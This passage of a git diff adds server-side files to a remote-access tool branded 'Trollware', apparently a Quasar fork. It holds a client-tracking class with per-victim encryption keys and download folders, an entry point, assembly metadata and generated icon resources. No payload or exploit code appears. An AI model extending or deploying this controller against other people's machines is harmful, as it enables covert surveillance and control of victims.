Quasar.Common.Helpers; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Server.Networking +{ + public class UserState + { + private string _downloadDirectory; + private Aes256 _aesInstance; + + public string Version { get; set; } + public string OperatingSystem { get; set; } + public string AccountType { get; set; } + public int ImageIndex { get; set; } + public string Country { get; set; } + public string CountryCode { get; set; } + public string Id { get; set; } + public string Username { get; set; } + public string PcName { get; set; } + public string UserAtPc => $"{Username}@{PcName}"; + public string CountryWithCode => $"{Country} [{CountryCode}]"; + public string Tag { get; set; } + public string EncryptionKey { get; set; } + + public Aes256 AesInstance => _aesInstance ?? (_aesInstance = new Aes256(EncryptionKey)); + + public string DownloadDirectory => _downloadDirectory ?? (_downloadDirectory = (!FileHelper.HasIllegalCharacters(UserAtPc)) + ? Path.Combine(Application.StartupPath, $"Clients\\{UserAtPc}_{Id.Substring(0, 7)}\\") + : Path.Combine(Application.StartupPath, $"Clients\\{Id}\\")); + } +} diff --git a/Quasar.Server/Program.cs b/Quasar.Server/Program.cs new file mode 100644 index 0000000..8d9b836 --- /dev/null +++ b/Quasar.Server/Program.cs @@ -0,0 +1,32 @@ +using Quasar.Server.Forms; +using System; +using System.IO; +using System.Net; +using System.Reflection; +using System.Windows.Forms; + +namespace Quasar.Server +{ + internal static class Program + { + [STAThread] + private static void Main() + { + // .NET Framework can't probe loose DLLs for resource deserialization; + // load System.Resources.Extensions from the exe directory manually. + AppDomain.CurrentDomain.AssemblyResolve += (sender, args) => + { + var name = new AssemblyName(args.Name).Name + ".dll"; + var path = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, name); + return File.Exists(path) ? Assembly.LoadFrom(path) : null; + }; + + // enable TLS 1.2 + ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; + + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + Application.Run(new FrmMain()); + } + } +} diff --git a/Quasar.Server/Properties/AssemblyInfo.cs b/Quasar.Server/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..2bff7b7 --- /dev/null +++ b/Quasar.Server/Properties/AssemblyInfo.cs @@ -0,0 +1,34 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// Allgemeine Informationen über eine Assembly werden über die folgenden +// Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern, +// die mit einer Assembly verknüpft sind. +[assembly: AssemblyTitle("Trollware Server")] +[assembly: AssemblyDescription("Troll Remote Administration Tool")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Trollware")] +[assembly: AssemblyCopyright("Copyright © MaxXor 2023")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] +[assembly: InternalsVisibleTo("Server.Tests")] + +// Durch Festlegen von ComVisible auf "false" werden die Typen in dieser Assembly unsichtbar +// für COM-Komponenten. Wenn Sie auf einen Typ in dieser Assembly von +// COM zugreifen müssen, legen Sie das ComVisible-Attribut für diesen Typ auf "true" fest. +[assembly: ComVisible(false)] + +// Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten: +// +// Hauptversion +// Nebenversion +// Buildnummer +// Revision +// +// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern +// übernehmen, indem Sie "*" eingeben: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.4.1")] +[assembly: AssemblyFileVersion("1.4.1")] \ No newline at end of file diff --git a/Quasar.Server/Properties/Resources.Designer.cs b/Quasar.Server/Properties/Resources.Designer.cs new file mode 100644 index 0000000..cc370ee --- /dev/null +++ b/Quasar.Server/Properties/Resources.Designer.cs @@ -0,0 +1,605 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace Quasar.Server.Properties { + using System; + + + /// + /// A strongly-typed resource class, for looking up localized strings, etc. + /// + // This class was auto-generated by the StronglyTypedResourceBuilder + // class via a tool like ResGen or Visual Studio. + // To add or remove a member, edit your .ResX file then rerun ResGen + // with the /str option, or rebuild your VS project. + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + internal class Resources { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() { + } + + /// + /// Returns the cached ResourceManager instance used by this class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Resources.ResourceManager ResourceManager { + get { + if (object.ReferenceEquals(resourceMan, null)) { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Quasar.Server.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// Overrides the current thread's CurrentUICulture property for all + /// resource lookups using this strongly typed resource class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Globalization.CultureInfo Culture { + get { + return resourceCulture; + } + set { + resourceCulture = value; + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap actions { + get { + object obj = ResourceManager.GetObject("actions", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap application_add { + get { + object obj = ResourceManager.GetObject("application_add", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap application_cascade { + get { + object obj = ResourceManager.GetObject("application_cascade", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap application_delete { + get { + object obj = ResourceManager.GetObject("application_delete", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap application_edit { + get { + object obj = ResourceManager.GetObject("application_edit", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap application_go { + get { + object obj = ResourceManager.GetObject("application_go", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap arrow_down { + get { + object obj = ResourceManager.GetObject("arrow_down", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap arrow_up { + get { + object obj = ResourceManager.GetObject("arrow_up", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap bricks { + get { + object obj = ResourceManager.GetObject("bricks", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap broom { + get { + object obj = ResourceManager.GetObject("broom", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap cancel { + get { + object obj = ResourceManager.GetObject("cancel", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap cog { + get { + object obj = ResourceManager.GetObject("cog", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap computer { + get { + object obj = ResourceManager.GetObject("computer", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap delete { + get { + object obj = ResourceManager.GetObject("delete", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap drive_go { + get { + object obj = ResourceManager.GetObject("drive_go", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap folder { + get { + object obj = ResourceManager.GetObject("folder", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap information { + get { + object obj = ResourceManager.GetObject("information", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap key_go { + get { + object obj = ResourceManager.GetObject("key_go", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap keyboard_add { + get { + object obj = ResourceManager.GetObject("keyboard_add", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap keyboard_delete { + get { + object obj = ResourceManager.GetObject("keyboard_delete", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap keyboard_magnify { + get { + object obj = ResourceManager.GetObject("keyboard_magnify", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized string similar to MIT License + /// + ///Copyright (c) 2023 MaxXor + /// + ///Permission is hereby granted, free of charge, to any person obtaining a copy + ///of this software and associated documentation files (the "Software"), to deal + ///in the Software without restriction, including without limitation the rights + ///to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + ///copies of the Software, and to permit persons to whom the Software is + ///furnished to do so, subject to the following conditions: + /// + ///The above copyright notice [rest of string was truncated]";. + /// + internal static string License { + get { + return ResourceManager.GetString("License", resourceCulture); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap lightning { + get { + object obj = ResourceManager.GetObject("lightning", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap monitor { + get { + object obj = ResourceManager.GetObject("monitor", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap monitoring { + get { + object obj = ResourceManager.GetObject("monitoring", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap mouse_add { + get { + object obj = ResourceManager.GetObject("mouse_add", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap mouse_delete { + get { + object obj = ResourceManager.GetObject("mouse_delete", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap page_copy { + get { + object obj = ResourceManager.GetObject("page_copy", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + internal static System.Drawing.Bitmap sound { + get { return ((System.Drawing.Bitmap)(ResourceManager.GetObject("sound", resourceCulture))); } + } + + internal static System.Drawing.Bitmap music { + get { return ((System.Drawing.Bitmap)(ResourceManager.GetObject("music", resourceCulture))); } + } + + internal static System.Drawing.Bitmap film { + get { return ((System.Drawing.Bitmap)(ResourceManager.GetObject("film", resourceCulture))); } + } + + internal static System.Drawing.Bitmap bomb { + get { return ((System.Drawing.Bitmap)(ResourceManager.GetObject("bomb", resourceCulture))); } + } + + internal static System.Drawing.Bitmap padlock { + get { return ((System.Drawing.Bitmap)(ResourceManager.GetObject("padlock", resourceCulture))); } + } + + internal static System.Drawing.Bitmap cd { + get { return ((System.Drawing.Bitmap)(ResourceManager.GetObject("cd", resourceCulture))); } + } + + internal static System.Drawing.Bitmap color_swatch { + get { return ((System.Drawing.Bitmap)(ResourceManager.GetObject("color_swatch", resourceCulture))); } + } + + internal static System.Drawing.Bitmap picture { + get { return ((System.Drawing.Bitmap)(ResourceManager.GetObject("picture", resourceCulture))); } + } + + internal static System.Drawing.Bitmap emoticon_evilgrin { + get { return ((System.Drawing.Bitmap)(ResourceManager.GetObject("emoticon_evilgrin", resourceCulture))); } + } + + internal static System.Drawing.Bitmap cursor { + get { return ((System.Drawing.Bitmap)(ResourceManager.GetObject("cursor", resourceCulture))); } + } + + internal static System.Drawing.Bitmap eye { + get { return ((System.Drawing.Bitmap)(ResourceManager.GetObject("eye", resourceCulture))); } + } + + internal static System.Drawing.Bitmap drink { + get { return ((System.Drawing.Bitmap)(ResourceManager.GetObject("drink", resourceCulture))); } + } + + internal static System.Drawing.Bitmap note { + get { return ((System.Drawing.Bitmap)(ResourceManager.GetObject("note", resourceCulture))); } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap Quasar_Server { + get { + object obj = ResourceManager.GetObject("Quasar_Server", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap refresh { + get { + object obj = ResourceManager.GetObject("refresh", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap registry { + get { + object obj = ResourceManager.GetObject("registry", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap restart { + get { + object obj = ResourceManager.GetObject("restart", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap save { + get { + object obj = ResourceManager.GetObject("save", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap server { + get { + object obj = ResourceManager.GetObject("server", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap server_add { + get { + object obj = ResourceManager.GetObject("server_add", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap server_delete { + get { + object obj = ResourceManager.GetObject("server_delete", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap server_disconnect { + get { + object obj = ResourceManager.GetObject("server_disconnect", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap server_go { + get { + object obj = ResourceManager.GetObject("server_go", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap server_link { + get { + object obj = ResourceManager.GetObject("server_link", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap shutdown { + get { + object obj = ResourceManager.GetObject("shutdown", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap standby { + get { + object obj = ResourceManager.GetObject("standby", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap terminal { + get { + object obj = ResourceManager.GetObject("terminal", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap textfield_rename { + get { + object obj = ResourceManager.GetObject("textfield_rename", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap transmit_blue { + get { + object obj = ResourceManager.GetObject("transmit_blue", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap uac_shield { + get { + object obj = ResourceManager.GetObject("uac_shield", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap user { + get { + object obj = ResourceManager.GetObject("user", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap world_go { + get { + object obj = ResourceManager.GetObject("world_go", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap world_link { + get { + object obj = ResourceManager.GetObject("world_link", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + } +} diff --git a/Quasar.Server/Properties/Resources.resx b/Quasar.Server/Properties/Resources.resx new file mode 100644 index 0000000..9d701ff --- /dev/null +++ b/Quasar.Server/Properties/Resources.resx @@ -0,0 +1,330 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Images\restart.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\server_add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\application_cascade.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\lightning.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\shutdown.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\mouse_delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\actions.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\refresh.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\world_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\terminal.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\keyboard_delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\key_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\cancel.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\world_link.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\user.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\textfield_rename.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\monitoring.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\uac_shield.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\server_link.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\broom.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\server_delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\computer.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\monitor.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\server_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\application_add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\cog.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\drive_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\folder.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\bricks.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\standby.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + MIT License + +Copyright (c) 2023 MaxXor + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. + + + ..\Images\mouse_add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\transmit_blue.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\save.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\application_delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\keyboard_add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\Icons\Quasar_Server.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\keyboard_magnify.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\registry.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\server_disconnect.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\server.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\information.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\application_edit.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\application_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\arrow_down.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\arrow_up.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\page_copy.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\sound.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\music.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\film.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\bomb.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\lock.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\cd.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\color_swatch.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\picture.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\emoticon_evilgrin.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\cursor.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\wand.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\exclamation.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\eye.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\drink.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\note.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + \ No newline at end of file diff --git a/Quasar.Server/Properties/Settings.Designer.cs b/Quasar.Server/Properties/Settings.Designer.cs new file mode 100644 index 0000000..7c06731 --- /dev/null +++ b/Quasar.Server/Properties/Settings.Designer.cs @@ -0,0 +1,26 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace Quasar.Server.Properties { + + + 